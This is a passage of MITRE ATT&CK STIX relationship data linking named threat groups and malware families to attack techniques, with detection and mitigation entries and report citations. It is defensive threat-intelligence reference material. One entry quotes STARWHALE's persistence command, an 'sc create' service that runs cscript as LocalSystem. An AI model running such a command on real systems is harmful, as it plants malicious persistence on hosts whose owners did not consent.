Base64 to encode its C2 traffic.(Citation: Lunghi Iron Tiger Linux) ","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b1e5d59-20a4-4915-a553-4db606d8121d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.710Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can decode contents from a payload that was Base64 encoded and write the contents to a file.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b207904-5be1-4bd8-8f08-a9b31bddc4c8","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for newly executed processes conducting malicious activity ","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b215137-e9e7-4022-af63-8d932c384eb2","type":"relationship","created":"2019-05-28T19:08:05.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","source_name":"Proofpoint TA505 Mar 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-05-29T20:09:49.523Z","description":"(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--432555de-63bf-4f2a-a3fa-f720a4561078","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b255a88-0189-4afa-a69f-fa99127e693e","created":"2022-05-25T19:42:27.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T20:27:44.518Z","description":"(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b27a43c-3508-4f21-9f39-c05b2be84cb6","type":"relationship","created":"2019-04-23T15:49:35.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","source_name":"ESET Ebury Feb 2014"}],"modified":"2020-03-17T01:01:41.602Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has used DNS requests over UDP port 53 for C2.(Citation: ESET Ebury Feb 2014)\t","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf","description":"Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.","source_name":"Operation Quantum Entanglement"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:45.770Z","description":"[HTRAN](https://attack.mitre.org/software/S0040) can proxy TCP socket connections to obfuscate command and control infrastructure.(Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b29f7b8-78fe-4bae-b943-59641a12a023","type":"relationship","created":"2020-04-28T12:47:25.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T14:37:51.325Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used a .NET tool named dog.exe to exiltrate information over an e-mail account.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b2eddbb-5a76-4488-9b65-b6ead43c2ddc","created":"2024-05-17T13:38:15.705Z","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:38:15.705Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) contains multiple payloads that are packed for defense evasion purposes and unpacked on runtime.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b384505-b69a-4c0b-95f1-02384214abae","type":"relationship","created":"2019-05-14T15:26:39.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:36.939Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) has been observed deleting the temporary files once they fulfill their task.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2020-03-17T01:22:54.016Z","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.(Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b3e8c1d-65d2-47a6-91f4-d8dcc52ca01c","created":"2022-08-18T15:31:06.104Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 2022.","url":"https://www.mandiant.com/resources/telegram-malware-iranian-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:23:17.966Z","description":"[STARWHALE](https://attack.mitre.org/software/S1037) has the ability to create the following Windows service to establish persistence on an infected host: `sc create Windowscarpstss binpath= \"cmd.exe /c cscript.exe c:\\\\windows\\\\system32\\\\w7_1.wsf humpback_whale\" start= \"auto\" obj= \"LocalSystem\"`.(Citation: Mandiant UNC3313 Feb 2022)","relationship_type":"uses","source_ref":"malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b3f3de6-364e-443f-8b34-62073c801a5b","type":"relationship","created":"2019-01-30T18:53:05.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}],"modified":"2019-09-09T17:44:35.660Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.(Citation: Securelist Sofacy Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b40e3b0-a862-4c79-a8e6-a008e71f6028","created":"2023-09-13T19:52:43.958Z","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T19:52:43.958Z","description":"[Snip3](https://attack.mitre.org/software/S1086) can download additional payloads from web services including Pastebin and top4top.(Citation: Morphisec Snip3 May 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b418159-e33b-407e-9849-1ebeddaa4074","type":"relationship","created":"2021-11-29T20:31:03.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:31:03.583Z","description":"[Pandora](https://attack.mitre.org/software/S0664) has the ability to encrypt communications with D3DES.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b42c337-1bb7-4b42-9332-238b5edb6a63","type":"relationship","created":"2021-03-25T15:33:01.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T15:33:01.967Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to open a Windows Command Shell on a remote host.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1b44ae9f-29b7-45e0-9396-a84899e73a3b","created":"2022-03-16T18:08:15.460Z","x_mitre_version":"1.0","external_references":[{"source_name":"Google TAG Ukraine Threat Landscape March 2022","url":"https://blog.google/threat-analysis-group/update-threat-landscape-ukraine","description":"Huntley, S. (2022, March 7). An update on the threat landscape. Retrieved March 16, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[APT28](https://attack.mitre.org/groups/G0007) has used compromised email accounts to send credential phishing emails.(Citation: Google TAG Ukraine Threat Landscape March 2022)","modified":"2022-04-14T20:16:42.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b45a635-4384-4cce-ac50-49826659dcb2","created":"2023-03-26T19:43:48.943Z","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:43:48.943Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can store encrypted JSON configuration files in the Registry.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9","type":"relationship","created":"2017-05-31T21:33:27.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-17T15:07:32.795Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has locally staged encrypted archives for later exfiltration efforts.(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b47403e-e95f-4641-9e8c-588b44b49327","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b47deed-a8b9-4e0f-a47e-9570ecccaa90","type":"relationship","created":"2021-01-25T13:58:25.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}],"modified":"2021-03-11T23:13:04.856Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) can collect the victim's computer name, hostname and adapter information to create a unique identifier.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b4baaaa-f08e-4f67-8d32-a7facb21eb7b","type":"relationship","created":"2020-12-29T20:23:05.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:23:05.311Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has brute forced RDP credentials.(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b4ee147-dc39-43d2-b468-fcd308e6cbae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:48.996Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) uses rundll32 to call an exported function.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b5bac20-4c29-42a5-86ce-622c1d50cf6b","created":"2024-09-18T19:01:03.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:04:17.377Z","description":"The [Latrodectus](https://attack.mitre.org/software/S1160) command handler can use `cmdexe` to run multiple discovery commands.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b5dbd72-abeb-4d61-9a7f-917a17f272d1","type":"relationship","created":"2020-05-21T12:59:00.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T12:59:00.698Z","description":"(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1b63a6ee-50e9-4c72-8654-1d879f4eb88e","created":"2023-03-31T17:12:06.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T03:22:31.793Z","description":"Restrict Registry permissions to disallow the modification of sensitive Registry keys such as `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b6f0ec5-55d5-4aee-a90b-30238599d13c","type":"relationship","created":"2021-06-30T17:12:55.025Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-08-20T20:17:35.608Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used Base64 to encode C2 communications.(Citation: Cybereason Chaes Nov 2020) 